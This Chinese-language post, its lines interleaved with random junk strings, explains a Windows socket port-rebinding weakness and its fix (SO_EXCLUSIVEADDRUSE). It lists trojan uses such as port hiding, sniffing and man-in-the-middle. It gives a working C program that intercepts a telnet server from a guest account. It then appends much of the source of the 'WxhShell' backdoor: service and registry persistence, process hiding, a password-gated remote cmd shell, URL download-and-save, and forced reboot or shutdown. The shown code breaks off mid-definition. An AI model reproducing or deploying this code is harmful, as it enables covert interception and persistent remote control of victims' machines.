在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
n5%\FFG0M s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
et/:vLl13 <(@Z#%O9) saddr.sin_family = AF_INET;
lu00@~rx/ gV-*z}`U saddr.sin_addr.s_addr = htonl(INADDR_ANY);
41]a{A7q ol41%q* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
wAw1K 2d .'&pw}F 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
c:e3hJ I(Qz%/ Ox 这意味着什么?意味着可以进行如下的攻击:
(uDAdE5 |gWA'O0S 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
X0iy !uoT8BBAk 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
oN[}i6^,e O\ _ro. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
>|c?ZqW \gA<yz-;N 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
0zA;%oP ilde<!? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ImG8v[Q
E 0TaI"/ai 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
;<q2 !d<R=L 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=%<,
^2o uJCp #include
"AZ|u#0P #include
!qp$Xtf+ #include
7)]boW~Q #include
AmHj\NX$ DWORD WINAPI ClientThread(LPVOID lpParam);
(~eS$8>. int main()
_7\`xU {
Y<|JhqOXK WORD wVersionRequested;
cE:s\hG DWORD ret;
Ufl\
uq3'H WSADATA wsaData;
M 9-Q BOOL val;
:A
zll s SOCKADDR_IN saddr;
umWs8-'Uw SOCKADDR_IN scaddr;
" >.tPn int err;
mW4Cc1* SOCKET s;
YnuY/zDF SOCKET sc;
U+*l!"O,
int caddsize;
VsJ+-IHm HANDLE mt;
~N i DWORD tid;
z]r'8Jc wVersionRequested = MAKEWORD( 2, 2 );
v@|<. err = WSAStartup( wVersionRequested, &wsaData );
~h_
_Y> if ( err != 0 ) {
u.|%@ printf("error!WSAStartup failed!\n");
J}&U[ds p return -1;
,{!,%]bC }
qF4tjza;k saddr.sin_family = AF_INET;
"d:rPJT)(@ W03mdRW //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1$eoW/8. C{}PO u saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
bJetqF6n saddr.sin_port = htons(23);
X5YOxMq if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
eM_;rM Cr} {
[:.wCG5 printf("error!socket failed!\n");
!p/SX>NJ return -1;
i_Hm?Bi!F }
{PX,_ val = TRUE;
m=sEB8P //SO_REUSEADDR选项就是可以实现端口重绑定的
{h|<qfH if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
cFw-JM< {
eJTU'aX* printf("error!setsockopt failed!\n");
e)wi}\:q_ return -1;
_$96y]Bpi }
ed`"xm //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
\894Jqh //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
=X?fA, //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
U!o7Nw@z ;.Bz'Q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7H)$NG<U$ {
,eBC]4)B6 ret=GetLastError();
pe
vXixl printf("error!bind failed!\n");
aaig1#a@1b return -1;
u0Wt"d-= }
<HoCt8>U listen(s,2);
l<w7
\a6 while(1)
o[cOL^Xd1 {
La )M caddsize = sizeof(scaddr);
KR#,6 //接受连接请求
":$4/b6 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
D#L(ZlD4 if(sc!=INVALID_SOCKET)
q4[8\Ua {
9^W7i]-Z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
S[exnZ*Y if(mt==NULL)
-DdHl8 {
~jL%l printf("Thread Creat Failed!\n");
YK)m6zW5 break;
*rmC3'}s }
WVRIq' }
M!'d CloseHandle(mt);
?{qUn8f2 }
YK6LJv} closesocket(s);
(M$0'BV0 WSACleanup();
HpEd$+Mz return 0;
4W"A*A }
Q4m>
3I DWORD WINAPI ClientThread(LPVOID lpParam)
DLrV{8%W {
?9()ya-TE SOCKET ss = (SOCKET)lpParam;
\W.CHSD SOCKET sc;
`f; w unsigned char buf[4096];
@4*:qj? SOCKADDR_IN saddr;
SvM\9 long num;
p
qz~9y~ DWORD val;
Zu.hcDw1 DWORD ret;
d <}'eBT' //如果是隐藏端口应用的话,可以在此处加一些判断
ri{*\LV*@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
TI DgIK saddr.sin_family = AF_INET;
vW=-RTRH saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Qp:I[:Lr; saddr.sin_port = htons(23);
h.X4x2(. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Jj\4P1|' 7 {
euB 1}M printf("error!socket failed!\n");
H7X-\K 1w return -1;
$\BYN=# }
@!P2f
val = 100;
<2U@O`
gC if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Y/5M)AyJt {
6Cj7 =|L7 ret = GetLastError();
Vx $;wU Y return -1;
%Xd*2q4* }
'Tm1Mh0Fso if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.J75bX5 {
b]]8Vs)' ret = GetLastError();
J#..xJ?XRD return -1;
fs
ufYIf }
8:{id>Mm^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
'(5GRI< {
GM6,LzH printf("error!socket connect failed!\n");
[h3xW closesocket(sc);
h9Far8} closesocket(ss);
"r&,#$6W6 return -1;
P$ o bID }
cX-M9Cz while(1)
N]+6< {
Q~(Gll; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
'3b\d:hN //如果是嗅探内容的话,可以再此处进行内容分析和记录
r"dIB@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ln82pQD2Y~ num = recv(ss,buf,4096,0);
EH|+S if(num>0)
<c}@lj-j send(sc,buf,num,0);
v1:.t else if(num==0)
+yP!7] break;
uxf,95<g) num = recv(sc,buf,4096,0);
FW |&
iS$ if(num>0)
u(f send(ss,buf,num,0);
jA{5)-g else if(num==0)
)aIcA break;
OBAO(Ke }
Wzl/ @CPM closesocket(ss);
|qw0:c=7! closesocket(sc);
#3rS{4[ return 0 ;
8zx]/> }
%y6Q3@ z+"$G dVb6u ==========================================================
\(Sly&gL x?wvS]EBg 下边附上一个代码,,WXhSHELL
H3rA
?F#+* )s
$]+HQs ==========================================================
!2|Lb'O D;Qx9^. #include "stdafx.h"
D^6*Cwb 1b9S";ct0 #include <stdio.h>
^+m`mc sE #include <string.h>
.C^P6S2oJ #include <windows.h>
Ljy797{f #include <winsock2.h>
.t@|2 #include <winsvc.h>
t$!zgUJ #include <urlmon.h>
~71U s ;JkSZs3 #pragma comment (lib, "Ws2_32.lib")
[inlxJD #pragma comment (lib, "urlmon.lib")
>-MnB WN'AQ~qA #define MAX_USER 100 // 最大客户端连接数
$@z77td3 #define BUF_SOCK 200 // sock buffer
g"P%sA/E+ #define KEY_BUFF 255 // 输入 buffer
o'DtW#F vywB{%p #define REBOOT 0 // 重启
ZexC3LD" #define SHUTDOWN 1 // 关机
cI2Ps3~"Q H a!,9{T #define DEF_PORT 5000 // 监听端口
M/<ypJ jR/Gd01) #define REG_LEN 16 // 注册表键长度
<Q|\mUS6 #define SVC_LEN 80 // NT服务名长度
wp?:@XM {W,5]- // 从dll定义API
uFWA] ":is typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
d1D
f` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
DN2 ]Y' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
s>>&3jfM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
roS" q~GS, v,-Tk=qP // wxhshell配置信息
Zy(i_B-b struct WSCFG {
V"#0\|]m int ws_port; // 监听端口
=7Ud-5c char ws_passstr[REG_LEN]; // 口令
gnp.!- int ws_autoins; // 安装标记, 1=yes 0=no
t=P+m char ws_regname[REG_LEN]; // 注册表键名
c-$rB_t+ char ws_svcname[REG_LEN]; // 服务名
\}b2oiY char ws_svcdisp[SVC_LEN]; // 服务显示名
1bV
G%N char ws_svcdesc[SVC_LEN]; // 服务描述信息
D:@W*, char ws_passmsg[SVC_LEN]; // 密码输入提示信息
#`SAc`:n int ws_downexe; // 下载执行标记, 1=yes 0=no
+M=h+3hw]( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
{>ba7-Cy+y char ws_filenam[SVC_LEN]; // 下载后保存的文件名
{"wF;*U.V R{@saa5I(> };
UdO8KD#r3 x/s:/YN' // default Wxhshell configuration
AIHH@z struct WSCFG wscfg={DEF_PORT,
[PIMG2"G "xuhuanlingzhe",
^OY$
W 1,
}WsPu o "Wxhshell",
b-&rMML "Wxhshell",
iE'_x$i "WxhShell Service",
lju5+0BSb "Wrsky Windows CmdShell Service",
8&@=Anc&q "Please Input Your Password: ",
m^ xTV-#l@ 1,
e)e(f"t6Q "
http://www.wrsky.com/wxhshell.exe",
qR@ESJ_ "Wxhshell.exe"
TZgtu+& };
E^-c,4'F "uBnK! // 消息定义模块
Oa/^A-'Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
+p\E%<uQ char *msg_ws_prompt="\n\r? for help\n\r#>";
;?Pz0,{h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
1n`[D&?q char *msg_ws_ext="\n\rExit.";
-m`|S q char *msg_ws_end="\n\rQuit.";
Km5_P## char *msg_ws_boot="\n\rReboot...";
Gld~GyB\k char *msg_ws_poff="\n\rShutdown...";
@)b'3~D char *msg_ws_down="\n\rSave to ";
_A,_RM$Y (>}1t!1 char *msg_ws_err="\n\rErr!";
'Dfs&sm char *msg_ws_ok="\n\rOK!";
p\[!=ZXFr\ 5HbHJ.|r char ExeFile[MAX_PATH];
\m7\}Nbz0/ int nUser = 0;
W et0qt] HANDLE handles[MAX_USER];
;#Po}8Y= int OsIsNt;
?T/4
= k4sV6f SERVICE_STATUS serviceStatus;
^2'Y=g> SERVICE_STATUS_HANDLE hServiceStatusHandle;
<f7 O3 > .BPd06y // 函数声明
0ca0-vY int Install(void);
mlByE,S2E int Uninstall(void);
$oW=N int DownloadFile(char *sURL, SOCKET wsh);
w[z=x int Boot(int flag);
:%gc Sm void HideProc(void);
':4ny]F int GetOsVer(void);
#4AU&UM+i int Wxhshell(SOCKET wsl);
q[Ai^79 void TalkWithClient(void *cs);
,ojJ;w5D int CmdShell(SOCKET sock);
]G[ "TX, int StartFromService(void);
5RLO}Vn] int StartWxhshell(LPSTR lpCmdLine);
nYtkTP!J6 [4yHXZxza VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Be{@ L VOID WINAPI NTServiceHandler( DWORD fdwControl );
'
#K@%P I!/EQO| // 数据结构和表定义
%E%=Za SERVICE_TABLE_ENTRY DispatchTable[] =
W1)SgiXnuy {
0Jv6?7]LKa {wscfg.ws_svcname, NTServiceMain},
WoXAOj%iW {NULL, NULL}
9'(_*KSH };
'pA%lc) P"7` :a // 自我安装
x)?V{YAL int Install(void)
?,VpZ%Df2 {
ewcFzlA@ char svExeFile[MAX_PATH];
!hHe` HKEY key;
G4i%/_JU strcpy(svExeFile,ExeFile);
bm;iX*~ $@VJ@JAe // 如果是win9x系统,修改注册表设为自启动
\gP?uJ if(!OsIsNt) {
+vZYuEq_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4b}p[9k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$l,U) RegCloseKey(key);
GIlaJ!/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
z"6o|]9I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
z_(l]Ern} RegCloseKey(key);
HP*)^`6X
return 0;
w(HVC }
4s
m [y8 }
i<S\x }
-(57C*#ap else {
%>K(IRpMW Rc)]A&J // 如果是NT以上系统,安装为系统服务
UW":&`i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
n*GB`I*g if (schSCManager!=0)
MO~T_6 {
5^uX!_r` SC_HANDLE schService = CreateService
_U}|Le@ e (
5{-Hg[+9 schSCManager,
dtuCA"D wscfg.ws_svcname,
.;?ha' wscfg.ws_svcdisp,
og$dv
23 SERVICE_ALL_ACCESS,
igOX 0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
_U*R_2aV SERVICE_AUTO_START,
YEV;GFI1 SERVICE_ERROR_NORMAL,
86%k2~L
svExeFile,
q!&:y7O8 NULL,
tic3a1 NULL,
j &[lDlI_ NULL,
UVXruH NULL,
e[k\VYj[ NULL
Fz8& Jn! );
e|A=sCN- if (schService!=0)
TFbc@rfB {
[]\-*{^r CloseServiceHandle(schService);
]UOzz1 CloseServiceHandle(schSCManager);
MeD/)T{ G~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
f$ /C.E strcat(svExeFile,wscfg.ws_svcname);
g?1bEOA! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
[GknE#p RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
UHY)+6qt] RegCloseKey(key);
{(-TWh7V return 0;
*)r_Y|vg }
Z+R-}< }
lxTqGwx CloseServiceHandle(schSCManager);
je\]j-0$u }
"=?JIQ }
e>Q:j_?.e PJb/tKC return 1;
%.[AZ> }
937<:zo: QdZHIgh`i // 自我卸载
H{P*d=9v int Uninstall(void)
/L,iF?7 {
\(Dm\7Q. HKEY key;
7OZ0;fK '(ETXQ@ if(!OsIsNt) {
@bkSA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:^7_E& RegDeleteValue(key,wscfg.ws_regname);
K0*er RegCloseKey(key);
6mZpyt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2QHu8mFU RegDeleteValue(key,wscfg.ws_regname);
aS3-A4 RegCloseKey(key);
1b=\l/2 return 0;
}8.$)&O$^ }
_z^&zuO }
^CwS'/fdN }
Z1H else {
=w7k@[Bq #r&yH^- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=aT8=ihP if (schSCManager!=0)
IxG0TJ_
{
4>=Y@z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
O6-"q+H) if (schService!=0)
F8m@mh*8> {
j~2t^Qz
if(DeleteService(schService)!=0) {
-J!k|GK#MX CloseServiceHandle(schService);
.R+n}>+K CloseServiceHandle(schSCManager);
USf;}F:-C return 0;
^sZHy4-yK# }
/4BYH?* CloseServiceHandle(schService);
%'F[(VB }
[:Odb?+ `F CloseServiceHandle(schSCManager);
wu0JXB%&^ }
M>Ws}Y }
xs
>Y h" YA>_1 return 1;
h7\EN }
ELV$!f|u LrfyH"#!: // 从指定url下载文件
QZ-6aq\sgp int DownloadFile(char *sURL, SOCKET wsh)
Rm.9`<Y {
ilj9&.isB HRESULT hr;
!]f:dWSLB char seps[]= "/";
[aC2ktI char *token;
~o;*{ Q char *file;
YF");itH char myURL[MAX_PATH];
eR1]<Z$W\ char myFILE[MAX_PATH];
=uR[Jewa a67NWH strcpy(myURL,sURL);
doe u` token=strtok(myURL,seps);
( (mNB]sy while(token!=NULL)
;#D:S6 L {
%}~Ncn_r file=token;
`_e 1LEH token=strtok(NULL,seps);
$uNYus^vS }
}WkR-5N ?6^KY+ 5`C GetCurrentDirectory(MAX_PATH,myFILE);
*O-si%@] strcat(myFILE, "\\");
Y6%O 9b strcat(myFILE, file);
gJn_8\,C>Q send(wsh,myFILE,strlen(myFILE),0);
CI?M2\<g send(wsh,"...",3,0);
D #twS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
I'uRXvEr7 if(hr==S_OK)
DCtrTX return 0;
8J7<7Sx else
T;I>5aQ:q4 return 1;
/?8rj3 |
\JB/x }
qxwD4L`S *C(XGX\?- // 系统电源模块
FU~:9EEx int Boot(int flag)
^$O,Gy) V {
HQ8;d9cGir HANDLE hToken;
Et0;1 TOKEN_PRIVILEGES tkp;
#`2*V +l$BUX if(OsIsNt) {
;,]Wtmu)7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
~); 7D'[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
;i&'va$ tkp.PrivilegeCount = 1;
Zz04Pz1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Qjh @oWT AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
A[oxG;9xi if(flag==REBOOT) {
=:=uV0jX\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Ih0kdi return 0;
bjJ212J }
$'VFb=?XrK else {
wg,w;Gle if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
<[GkhPfZ return 0;
-i?-Xj#% }
|q\:3R_0 }
S-6%mYf else {
:u53zX[v if(flag==REBOOT) {
Q<pL5[00fD if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
6jtnH'E/ return 0;
Ol]+l] }
5Y97?n+6 else {
jz;"]k if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Dos`lh
return 0;
F\;G'dm }
HI30-$9 }
Nu'T0LPNq( ;HeUD5Nt6F return 1;
3"hPplE }
*7o( t/aT // win9x进程隐藏模块
Bq]eNq void HideProc(void)
+K%4jIm {
e[7n`ka
' Xj<B!Wn*Xb HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
5)GO if ( hKernel != NULL )
C_=WL( {
=7mn=
w? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
W]rK*Dc ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
!1}A\S FreeLibrary(hKernel);
q~=]_PMP }
|^i+Srh bEE'50D return;
i7w>Nvj] }
sc^TElic n_51-^*z // 获取操作系统版本
64>o3Hb2 int GetOsVer(void)
/-l 7GswF {
$;dSM<r OSVERSIONINFO winfo;
=q(;g]e winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
5Vzi{y/bL GetVersionEx(&winfo);
=5jX#Dc5.+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
qffXm`k return 1;
8I'c83w else
w#5^A(NR return 0;
S]3t{s#JW7 }
y#Ao6Od6 L= fz:H // 客户端句柄模块
4cni_m] int Wxhshell(SOCKET wsl)
bCF"4KXK {
[g:ZIl4p\P SOCKET wsh;
q]Cmaf ( struct sockaddr_in client;
@<tkwu DWORD myID;
mRw &^7r a8Jn.! while(nUser<MAX_USER)
+tNu8M@xFo {
>?q()>l int nSize=sizeof(client);
kmm1b ( wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
UHYnl] if(wsh==INVALID_SOCKET) return 1;
*;wPAQE "Fu*F/KW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
<$LVAy"RD if(handles[nUser]==0)
d3AOuVUf closesocket(wsh);
:Uf\r
`a9 else
\4`~J@5Y nUser++;
u+GtH;<; }
;5A WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
< 6[XE 2Ke?* return 0;
u|.L73<j% }
wPYz&&W t%wC~1 // 关闭 socket
vJT
%ET void CloseIt(SOCKET wsh)
G-[fz {
Lmx95[#@a closesocket(wsh);
_
a|zvH nUser--;
h+Dp<b ExitThread(0);
(7G5y7wI" }
y1!c:& {i)k# ` // 客户端请求句柄
t8,s]I& void TalkWithClient(void *cs)
GQOz\ic {
,mR$YT8 o })k@-oL SOCKET wsh=(SOCKET)cs;
NuKktQd char pwd[SVC_LEN];
z!quA7s<] char cmd[KEY_BUFF];
'PF?D~ char chr[1];
eDR4c% int i,j;
x8xSA*@k ML!Zm[I9 while (nUser < MAX_USER) {
AXhV#nZt0
g-MaP if(wscfg.ws_passstr) {
hmv"|1Sa!~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
pmR6(/B# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;#G)([ //ZeroMemory(pwd,KEY_BUFF);
A>8uLO G} i=0;
445}Yw5;9 while(i<SVC_LEN) {
=#||&1U$ Q<.847 ) // 设置超时
b/:&iG; fd_set FdRead;
x,a(O@ struct timeval TimeOut;
2B{~"< FD_ZERO(&FdRead);
tY^ MP5* FD_SET(wsh,&FdRead);
<J4|FOz!= TimeOut.tv_sec=8;
L$^ya%2 TimeOut.tv_usec=0;
7RQ.oee int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
*P,dR]-m if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
pZx'%-\-T $bRakF1'S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
?+)O4?# pwd
=chr[0]; c0.i
if(chr[0]==0xd || chr[0]==0xa) { fJ_d,4
pwd=0; I6d4<#Q@L
break; 48JD >=@7
} #IjG[a-
i++; KiU/N$E
} 8y5iT?.~vy
Zb<IZ)i# 1
// 如果是非法用户,关闭 socket c=iv\hn
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7jIye 8Zi8
} ~wmc5L/!?
rnvKfTpZDU
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T >XnVK
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u-g2*(ZT
AvF:$kG
while(1) { zyyt`
QZ!;` ?(
ZeroMemory(cmd,KEY_BUFF); t{n|!T&
WVUa:_5{
// 自动支持客户端 telnet标准 cs[_5r&:
j=0; >h+[#3vD
while(j<KEY_BUFF) { #flOaRl.
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <smi<syx
cmd[j]=chr[0]; -F.A1{l[.
if(chr[0]==0xa || chr[0]==0xd) { dHp(U
:)
cmd[j]=0; /,v>w,
break; ^.5`jdk
} PMER~}^
j++; 0'T*l2Z`2
} 7#K%Bo2pG
Y)*5M
// 下载文件 >*#clf;@p
if(strstr(cmd,"http://")) { jiS|ara"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); HAa2q=
if(DownloadFile(cmd,wsh)) kigq(a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $2u^z=`b!%
else #jdo54-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U40adP? a
} Hgs=qH
else { KLqn`m`O;
$F V!HD
switch(cmd[0]) { qI-q%]l
m/W0vPM1
// 帮助 |3\$\qa
case '?': { 7O6VnKl
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xlQl1lOX
break; bo^d!/;
} n{oRmw-
// 安装 +3B^e%`NPm
case 'i': { "YLH]9"=
if(Install()) fAMJFHW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e_3KNQ`kA
else L@> +iZSO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H]v"_!(\
break; (ATvH_Z
} Y@WCp
// 卸载 x!$Dje}
case 'r': { Ta;'f7Oz
if(Uninstall()) 5r1{l%?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2p3ep,
else +^!;J/24
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rG7S^,5o
break; !Gwf"-TQ
} O&=40"Dr
// 显示 wxhshell 所在路径 >
"G HLi
case 'p': { Wl3jbupu _
char svExeFile[MAX_PATH]; y>+xdD0+
strcpy(svExeFile,"\n\r"); _y~H#r9:
strcat(svExeFile,ExeFile); .eQIU$Kw!O
send(wsh,svExeFile,strlen(svExeFile),0); V&)lS Qw
break; +QS7F`O
} B- 63IN
// 重启 &mebpEHUG7
case 'b': { ppcuMcR{
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [5&zyIi
if(Boot(REBOOT)) wm@/>X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1S!<D)n
else { hR;J#w
closesocket(wsh); Mv9q-SIc[
ExitThread(0); ]KX _a1e
} q3.L6M
break; ,BuN]9#
} 7 ky$9+~
// 关机 d~[^D<5,D
case 'd': { *ml&}9
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J7.}2
if(Boot(SHUTDOWN)) *h ~Y=#`8*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VKa-
else { ,,+ ~./)
closesocket(wsh); }hT1@I
ExitThread(0); z!09vDB^
} ~'/I[y4t
break; #L\t)W
} rVLUT
// 获取shell s(yV E
case 's': { N7lWeF
CmdShell(wsh); yKR0]6ahA
closesocket(wsh); Pw4j?pv2
ExitThread(0); p_hljgOV
break; *|c*/7]<
} mPR(4Ol.
// 退出
.*H0{
case 'x': { ^/+0L[R
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r30t`o12i
CloseIt(wsh); r.e,!B s
break; 2i);2>HLG
} phIEz3Fu/
// 离开 y]OW{5(
case 'q': { T7W*S-IW
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \Fhk>
closesocket(wsh); _#c^z;!
WSACleanup(); 4uip!@$K
exit(1); 5- Q`v/w;
break; H!dUQ
} %9|=\#
G
} A@/DGrZX
} }K=TB}yY
c"+N{$ vp
// 提示信息 jjgY4<n
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #UREFwSL
} *!De(lhEc
} ^
K8JE,
_`!@
return; Fj c+{;x
} \6B,\l]$t@
@Kri)U
i
// shell模块句柄 \mZ\1wzn'{
int CmdShell(SOCKET sock) g;(r@>U.r
{ )2X ng_,
STARTUPINFO si; X-di^%<
ZeroMemory(&si,sizeof(si)); ZyqTtA!A
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0y4z`rzTn
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }z&P^p)R
PROCESS_INFORMATION ProcessInfo; 8uME6]m
i
char cmdline[]="cmd"; @URLFMFi
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lj"L Q(^
return 0; P=&J e?
} Y^gK^?K
C]UBu-]#S
// 自身启动模式 x q93>Hs
int StartFromService(void) t"1'B!4
{ 1Oo^
typedef struct u!2.[CV
{ _t:cDXj
DWORD ExitStatus; o"^}2^)_SR
DWORD PebBaseAddress; qQR>z
DWORD AffinityMask; o a,Ju
DWORD BasePriority; 9d2#=IJm
ULONG UniqueProcessId; qR <
